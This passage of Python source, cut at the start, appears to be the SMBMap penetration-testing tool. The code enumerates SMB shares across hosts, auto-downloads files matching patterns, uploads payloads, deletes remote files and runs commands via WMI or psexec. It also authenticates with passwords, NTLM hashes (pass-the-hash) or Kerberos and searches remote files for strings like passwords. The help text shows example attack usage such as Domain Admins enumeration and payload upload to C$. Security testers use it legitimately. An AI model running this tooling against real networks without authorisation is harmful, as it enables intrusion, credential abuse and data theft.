= '{}{}/{}'.format(share, path, filename) else: dlThis = '{}/{}/{}'.format(share, path, filename) #dlThis = dlThis.replace('/','\\') print('[+] Match found! Downloading: {}'.format(dlThis)) download_file(list_args['smbconn'], dlThis) if (list_args['dir_only'] and isDir == 'd') or ( list_args['dir_only'] == False): path_list[host][share][path].append({'isDir': isDir, 'readonly': readonly, 'filesize': filesize, 'date': date, 'filename': filename}) if int(depth) > 1: for smbItem in path_list[host][share][path]: try: if smbItem['isDir'] == 'd' and smbItem['filename'] not in [ '.', '..']: subPath = '{}/{}'.format(path, smbItem['filename']) subPath = pathify(subPath) raw_path_list = list_args['smbconn'].listPath(share, subPath) if len(raw_path_list) > 2 and '{}/{}'.format(path, smbItem['filename']) not in path_list[host][share].keys() and subPath.count('\\')-1 <= int(depth): list_args['path'] = '{}/{}'.format(path, smbItem['filename']) list_args['path_list'] = path_list list_path( list_args ) except SessionError as e: continue return path_list except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print('[!] Something weird happened on ({}) {} on line {}'.format(host, e, exc_tb.tb_lineno)) sys.stdout.flush() def download_file(smbconn, path): path = path.replace('/','\\') path = ntpath.normpath(path) filename = path.split('\\')[-1] share = path.split('\\')[0] path = path.replace(share, '', 1) host = socket.gethostbyname(smbconn.getRemoteHost()) try: output_path = ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))) dlFile = smbconn.listPath(share, path) print('[+] Starting download: {}{} ({} bytes)'.format(share, path, dlFile[0].get_filesize())) with open(output_path, 'wb') as out: smbconn.getFile(share, path, out.write) print('[+] File output to: %s/%s' % (os.getcwd(), output_path)) except SessionError as e: if 'STATUS_ACCESS_DENIED' in str(e): print('[!] Error retrieving file, access denied') elif 'STATUS_INVALID_PARAMETER' in str(e): print('[!] Error retrieving file, invalid path') elif 'STATUS_SHARING_VIOLATION' in str(e): print('[!] Error retrieving file %s, sharing violation' % (filename)) elif 'STATUS_NO_SUCH_FILE' in str(e): print('[!] Error retrieving file, no such file') #os.remove(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_'))))) return '{}/{}'.format(os.getcwd(),output_path) def create_file(smbconn, share, path): tid = smbconn.connectTree(share) fid = smbconn.createFile(tid, path, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) smbconn.closeFile(tid, fid) def remove_file(smbconn, share, path): #path = self.pathify(path) smbconn.deleteFile(share, path) def remove_dir(smbconn, share, path): #path = self.pathify(path) smbconn.deleteDirectory(share, path) def pathify(path): root = '' root = ntpath.join(path,'*') root = root.replace('/','\\') root = root.replace('\\\\','\\') root = ntpath.normpath(root) return root def login_kerberos(host): smbconn = None try: if host['port'] == 445: smbconn = SMBConnection(host['ip'], host['ip'], sess_port=host['port'], timeout=3) else: smbconn = SMBConnection('*SMBSERVER', host['host'], sess_port=host['port'], timeout=3) except Exception as e: print('[!] Connection error on {}'.format(host['ip'])) if smbconn: try: smbconn.kerberosLogin(host['user'], host['passwd'], host['domain'], host['lmhash'], host['nthash'], kdcHost=host['kdc'], useCache=USE_CCACHE) except Exception as e: print('[!] Authentication error on {}'.format(host['ip']), e) return smbconn return False def login(host): smbconn = None try: if host['port'] == 445: smbconn = SMBConnection(host['ip'], host['ip'], sess_port=host['port'], timeout=3) else: smbconn = SMBConnection('*SMBSERVER', host['host'], sess_port=host['port'], timeout=3) except Exception as e: print('[!] Connection error on {}'.format(host['ip'])) if smbconn: try: smbconn.login(host['user'], host['passwd'], host['domain'], host['lmhash'], host['nthash']) except Exception as e: if VERBOSE: print('[!] Authentication error on {}'.format(host['ip'])) return smbconn return False def check_smb_signing(signing_args): ip = signing_args['host'] my_smb = None #First try to negotiate a session with legacy SMB dialect try: my_smb = smb.SMB('.', ip) except Exception as e: pass #Then try to negotiate a session with SMB3 dialect if my_smb == None: try: my_smb = smb3.SMB3('.', ip) except Exception as e: pass if my_smb: try: if my_smb._Connection['RequireSigning'] == True: return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing required' } elif isinstance(my_smb, smb3.SMB3) and my_smb._Connection['RequireSigning'] == False: return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing enabled (not required)' } except AttributeError as e: pass try: if isinstance(my_smb, smb.SMB): if my_smb._dialects_parameters: if my_smb._dialects_parameters.fields['SecurityMode'] == 7: return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing enabled (not required)' } elif my_smb._dialects_parameters.fields['SecurityMode'] == 3: return { 'Host' : f'{ip:<16}', 'signing_status' : 'signing disabled' } except Exception as e: pass return { 'Host' : f'{ip:<16}', 'signing_status' : 'unkown (possibly Linux)...' } def main(): example = 'Examples:\n\n' example += '$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1\n' example += '$ python smbmap.py -u jsmith -p \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -H 172.16.0.20\n' example += '$ python smbmap.py -u \'apadmin\' -p \'asdf1234!\' -d ACME -Hh 10.1.3.30 -x \'net group "Domain Admins" /domain\'\n' parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=banner, epilog=example) sgroup = parser.add_argument_group("Main arguments") mex_group = sgroup.add_mutually_exclusive_group(required=True) pass_group = sgroup.add_mutually_exclusive_group() kerb_group = parser.add_argument_group('Kerberos settings') mex_group.add_argument("-H", metavar="HOST", dest='host', type=str, help="IP or FQDN", default=False) mex_group.add_argument("--host-file", metavar="FILE", dest="hostfile", default=False, type=argparse.FileType('r'), help="File containing a list of hosts") sgroup.add_argument("-u","--username", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed") pass_group.add_argument("-p", "--password", metavar="PASSWORD", dest='passwd', default='', help="Password or NTLM hash, format is LMHASH:NTHASH") pass_group.add_argument("--prompt", action='store_true', default=False, help="Prompt for a password") kerb_group.add_argument("-k", "--kerberos", action='store_true', dest='kerberos_auth', default=False, help="Use Kerberos authentication") kerb_group.add_argument("--no-pass", dest='no_pass', action='store_true', default=False, help="Use CCache file (export KRB5CCNAME='~/current.ccache')") kerb_group.add_argument("--dc-ip", metavar="IP or Host", dest='dc_ip', default=None, help="IP or FQDN of DC") sgroup.add_argument("-s", metavar="SHARE", dest='share', default='C$', help="Specify a share (default C$), ex 'C$'") sgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)") sgroup.add_argument("-P", metavar="PORT", dest='port', type=int, default=445, help="SMB port (default 445)") sgroup.add_argument("-v","--version", dest='version', default=False, action='store_true', help="Return the OS version of the remote host") sgroup.add_argument("--signing", dest='signing', default=False, action='store_true', help="Check if host has SMB signing disabled, enabled, or required") sgroup.add_argument("--admin", dest='admin', default=False, action='store_true', help='Just report if the user is an admin') sgroup.add_argument("--no-banner", dest='nobanner', default=False, action='store_true', help='Removes the banner from the top of the output') sgroup.add_argument("--no-color", dest='nocolor', default=False, action='store_true', help='Removes the color from output') sgroup.add_argument("--no-update", dest='noupdate', default=False, action='store_true', help='Removes the "Working on it" message') sgroup.add_argument("--timeout", dest='scan_timeout', type=float, default=.5, help='Set port scan socket timeout. Default is .5 seconds') sgroup2 = parser.add_argument_group("Command Execution", "Options for executing commands on the specified host") sgroup2.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command ex. 'ipconfig /all'") sgroup2.add_argument("--mode", metavar="CMDMODE", dest='mode', default='wmi', help="Set the execution method, wmi or psexec, default wmi", choices=['wmi','psexec']) sgroup3 = parser.add_argument_group("Shard drive Search", "Options for searching/enumerating the share of the specified host(s)") mex_group2 = sgroup3.add_mutually_exclusive_group() mex_group2.add_argument("-L", dest='list_drives', action="store_true", help="List all drives on the specified host, requires ADMIN rights.") mex_group2.add_argument("-r", metavar="PATH", dest="recursive_dir_list", nargs="?", const='/', help="Recursively list dirs and files (no share\\path lists the root of ALL shares), ex. 'email/backup'") mex_group3 = sgroup3.add_mutually_exclusive_group() mex_group3.add_argument("-g", metavar="FILE", dest="grepable", default=False, help="Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt") mex_group3.add_argument("--csv", metavar="FILE", dest="csv", default=False, help="Output to a CSV file, ex --csv shares.csv") sgroup3.add_argument("--dir-only", dest='dir_only', action='store_true', help="List only directories, ommit files.") sgroup3.add_argument("--no-write-check", dest='write_check', action='store_false', help="Skip check to see if drive grants WRITE access.") sgroup3.add_argument("-q", dest="verbose", default=True, action="store_false", help="Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).") sgroup3.add_argument("--depth", dest="depth", default=1, help="Traverse a directory tree to a specific depth. Default is 1 (root node).") sgroup3.add_argument("--exclude", metavar="SHARE", dest="exclude", nargs="+", const=None, help="Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'") sgroup3.add_argument("-A", metavar="PATTERN", dest="pattern", help="Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex '(web|global).(asax|config)'") sgroup4 = parser.add_argument_group("File Content Search", "Options for searching the content of files (must run as root), kind of experimental") sgroup4.add_argument("-F", dest="file_content_search", metavar="PATTERN", help="File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host)") sgroup4.add_argument("--search-path", dest="search_path", default="C:\\Users", metavar="PATH", help="Specify drive/path to search (used with -F, default C:\\Users), ex 'D:\\HR\\'") sgroup4.add_argument('--search-timeout', dest='search_timeout', default='300', metavar='TIMEOUT', help='Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.') sgroup5 = parser.add_argument_group("Filesystem interaction", "Options for interacting with the specified host's filesystem") sgroup5.add_argument("--download", dest='dlPath', metavar="PATH", help="Download a file from the remote system, ex.'C$\\temp\\passwords.txt'") sgroup5.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote system ex. '/tmp/payload.exe C$\\temp\\payload.exe'") sgroup5.add_argument("--delete", dest="delFile", metavar="PATH TO FILE", help="Delete a remote file, ex. 'C$\\temp\\msf.exe'") sgroup5.add_argument("--skip", default=False, action="store_true", help="Skip delete file confirmation prompt") if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() signal.signal(signal.SIGINT, signal_handler) hosts_auth = [] host_list = [] mysmb = SMBMap() if not args.nobanner: print(banner) if args.nocolor: USE_TERMCOLOR=False if args.noupdate: SEND_UPDATE_MSG=False if args.prompt: args.passwd = getpass.getpass() if args.scan_timeout: if args.scan_timeout > 0 and args.scan_timeout < 10: PORT_SCAN_TIMEOUT = args.scan_timeout lsshare = False lspath = False if args.grepable: mysmb.grepable = args.grepable mysmb.outfile = open(args.grepable, 'w') if args.csv: mysmb.csv = True mysmb.outfile = open(args.csv, 'w') if args.recursive_dir_list != None: csv_fields = ['Host', 'Share', 'Privs', 'isDir', 'Path', 'fileSize', 'Date'] elif args.version: csv_fields = ['Host', 'Version', 'Name', 'Domain'] elif args.signing: csv_fields = ['Host', 'signing_status'] else: csv_fields = ['Host', 'Share', 'Privs', 'Comment'] mysmb.writer = csv.DictWriter(mysmb.outfile, csv_fields) mysmb.writer.writeheader() if args.pattern: mysmb.pattern = args.pattern mysmb.verbose = False if args.verbose == False: mysmb.verbose = False if args.dir_only: mysmb.dir_only = True if args.recursive_dir_list != None: mysmb.recursive = True try: lspath = args.recursive_dir_list.split('/') lsshare = lspath[0] lspath = '/'.join(lspath[1:]) except: lspath = '/' pass if args.exclude: for ex_share in args.exclude: mysmb.exclude.append(ex_share.lower()) if args.hostfile: with args.hostfile as file: for host in file.readlines(): host = host.strip() if host.find('/') > 0: try: host_list = [ str(ip) for ip in ipaddress.ip_network(host, False).hosts() ] except Exception as e: print(f'[!] Invalid CIDR or host {host}') else: try: if socket.gethostbyname(host): host_list.append(host) except socket.gaierror as e: print(f'[!] Name or service not known ({host})') if args.host and not args.hostfile: if args.host.find('/') > 0: try: host_list = [ str(ip) for ip in ipaddress.ip_network(args.host, False).hosts() ] except Exception as e: print(f'[!] Invalid CIDR or host {args.host}') sys.exit(1) else: try: if socket.gethostbyname(args.host): host_list.append(args.host) except socket.gaierror as e: print(f'[!] Name or service not known ({args.host})') sys.exit(1) mysmb.loader = Loader('Checking for open ports...') mysmb.loading = True mysmb.loader.start() if len(host_list) > 0: porty_time = Pool() host_list = porty_time.map(find_open_ports, host_list) print('[*]','Detected {} hosts serving SMB'.format(sum(im_open is not False for im_open in host_list))) else: mysmb.loader.terminate() print('[!] No valid hosts provided') sys.exit(1) if mysmb.is_ntlm(args.passwd): lmhash, nthash = args.passwd.split(':') else: lmhash, nthash = ('', '') if args.dc_ip: kdc_host = args.dc_ip else: kdc_host = '' if args.no_pass: global USE_CCACHE USE_CCACHE = True mysmb.loader.update('Initializing hosts...') if host_list: host_args = [] for ip in host_list: if ip: host_args.append({ 'ip' : ip.strip(), 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain, 'lmhash' : lmhash, 'nthash' : nthash, 'smbconn' : [] ,'kdc_host' : kdc_host }) init_hosts_pool = Pool() hosts_auth = init_hosts_pool.map(init_host, host_args) if args.admin: mysmb.admin_only = True mysmb.loader.update('Authenticating...') connections = [] if args.kerberos_auth: login_worker = Pool() connections = login_worker.map(login_kerberos, hosts_auth) else: login_worker = Pool() connections = login_worker.map(login, hosts_auth) if len(connections) > 0: print('[*] Established {} SMB connections(s) and {} authenticated session(s)'.format(len( [ True for conn in connections if conn != False ]), len([ True for conn in connections if ( conn != False and conn.getSessionKey()) ]))) mysmb.hosts = { value['ip']:value for value in hosts_auth } for conn in connections: if conn: mysmb.hosts[ socket.gethostbyname(conn.getRemoteHost()) ]['smbconn'].append(conn) counter = 0 if args.file_content_search: smb_server = mysmb.start_smb_server() mysmb.loader.update('Doing RCE things...') for host in list(mysmb.hosts.keys()): if args.search_path[-1] == '\\': search_path = args.search_path[:-1] else: search_path = args.search_path try: if len(mysmb.hosts[host]['smbconn'][0].listPath('ADMIN$', '/*')) > 0: mysmb.start_file_search(host, args.file_content_search, args.share, search_path) counter += 1 except Exception as e: pass print('[+] File search started on {} hosts in directory {}...this could take a while'.format(counter, search_path)) mysmb.get_search_results(args.search_timeout) mysmb.loader.update('Cleaning up!') smb_server.stop() if not args.file_content_search: if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.version and not args.signing: share_pool = Pool() share_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host, 'write_check' : args.write_check, 'exclude' : mysmb.exclude } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ] mysmb.loader.update('Enumerating shares...') # this call returns an array of dict objects all_shares = share_pool.map(get_shares, share_args) smb_tree = {} all_paths_listed = [] list_path_args = [] if mysmb.recursive or mysmb.dir_only and all_shares: for host_shares in all_shares: if len(host_shares.keys()) > 0: host = [ host for host in host_shares.keys() ][0] else: continue if len(host_shares[host].keys()) > 0: mysmb.hosts[host]['smbconn'][0].close() mysmb.hosts[host]['smbconn'].pop() share_conns = login_worker.map(login, [ mysmb.hosts[host] for index in range(0,len(host_shares[host].keys())) ] ) mysmb.hosts[host]['smbconn'] = share_conns for index, share_name in enumerate(host_shares[host].keys()): if host_shares[host][share_name]['privs'] != 'NO ACCESS' and lsshare == '': list_path_args.append({ 'smbconn' : mysmb.hosts[host]['smbconn'][index] , 'host' : host, 'share' : share_name, 'path' : lspath, 'path_list' : None, 'depth' : args.depth , 'dir_only' : mysmb.dir_only, 'pattern' : mysmb.pattern }) elif host_shares[host][share_name]['privs'] != 'NO ACCESS' and share_name.lower() == lsshare.lower(): list_path_args.append({ 'smbconn' : mysmb.hosts[host]['smbconn'][index] , 'host' : host, 'share' : share_name, 'path' : lspath, 'path_list' : None, 'depth' : args.depth , 'dir_only' : mysmb.dir_only, 'pattern' : mysmb.pattern }) if args.pattern: print('[*] Performing file name pattern match! ') list_path_pool = Pool() mysmb.loader.update('Traversing shares...') all_paths_listed = list_path_pool.map(list_path, list_path_args) prev_hoat = None for share_drives_list in all_shares: if isinstance(share_drives_list, dict) and len(share_drives_list) > 0: host = [ host for host in share_drives_list.keys() ][0] smb_tree[host] = {} for share in share_drives_list[host]: smb_tree[host][share] = share_drives_list[host][share] smb_tree[host][share]['contents'] = {} for path_list in all_paths_listed: if path_list: host = [ host for host in path_list.keys() ][0] for share_drive_contents in path_list[host]: if path_list[host][share_drive_contents]: smb_tree[host][share_drive_contents]['contents'] = path_list[host][share_drive_contents] mysmb.loader.update('Finished!') mysmb.loader.pause() if mysmb.verbose or mysmb.csv or mysmb.grepable: to_string(smb_tree, mysmb) if args.version: mysmb.loader.update('Grabbing version info.') mysmb.loader.pause() version_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ] version_pool = Pool() versions = version_pool.map(get_version, version_args) for version_info in versions: print("[+] {:<16} is running {} (name:{}) (domain:{})".format(version_info['Host'], version_info['Version'], version_info['Name'], version_info['Domain'])) if args.csv: mysmb.writer.writerow(version_info) if args.signing: mysmb.loader.update('Checking for SMB signing.') signing_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ] signing_pool = Pool() signing = signing_pool.map(check_smb_signing, signing_args) mysmb.loader.pause() for signing_info in signing: print(f'[!] {signing_info["Host"]}\t{signing_info["signing_status"]}') if args.csv: mysmb.writer.writerow(signing_info) if True in [ (isinstance(arg, str) | isinstance(arg, list)) for arg in (args.dlPath, args.upload, args.delFile, args.list_drives, args.command) ]: for host in list(mysmb.hosts.keys()): is_admin = False try: if len(mysmb.hosts[host]['smbconn'][0].listPath('ADMIN$', pathify('/'))) > 0: is_admin = True except Exception as e: pass try: if args.dlPath: download_file(mysmb.hosts[host]['smbconn'][0], args.dlPath) if args.upload: mysmb.upload_file(host, args.upload[0], args.upload[1]) if args.delFile: mysmb.delete_file(host, args.delFile) if args.list_drives: if is_admin: mysmb.list_drives(host, args.share) if args.command: mysmb.loader.update('Executing {} command, hang tight...'.format(args.mode)) if is_admin: cmd_output = mysmb.exec_command(host, args.share, args.command, False, mysmb.hosts[host]['name'], args.mode) mysmb.loader.pause() if cmd_output: print('') print('[*]', 'Host: ', host) print('') print(cmd_output) except Exception as e: print('[!]', e) sys.stdout.flush() pass mysmb.loader.update('Closing connections..') mysmb.loader.resume() logoff_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ] logoff_pool = Pool() loggedoff = logoff_pool.map(close_smb_connection, logoff_args) mysmb.loader.pause() mysmb.kill_loader() print('[*]','Closed {} connections'.format(len(loggedoff))) if args.grepable or args.csv: print('[*]','Results output to: {}'.format(mysmb.outfile.name)) mysmb.outfile.close() sys.exit() if __name__ == "__main__": main()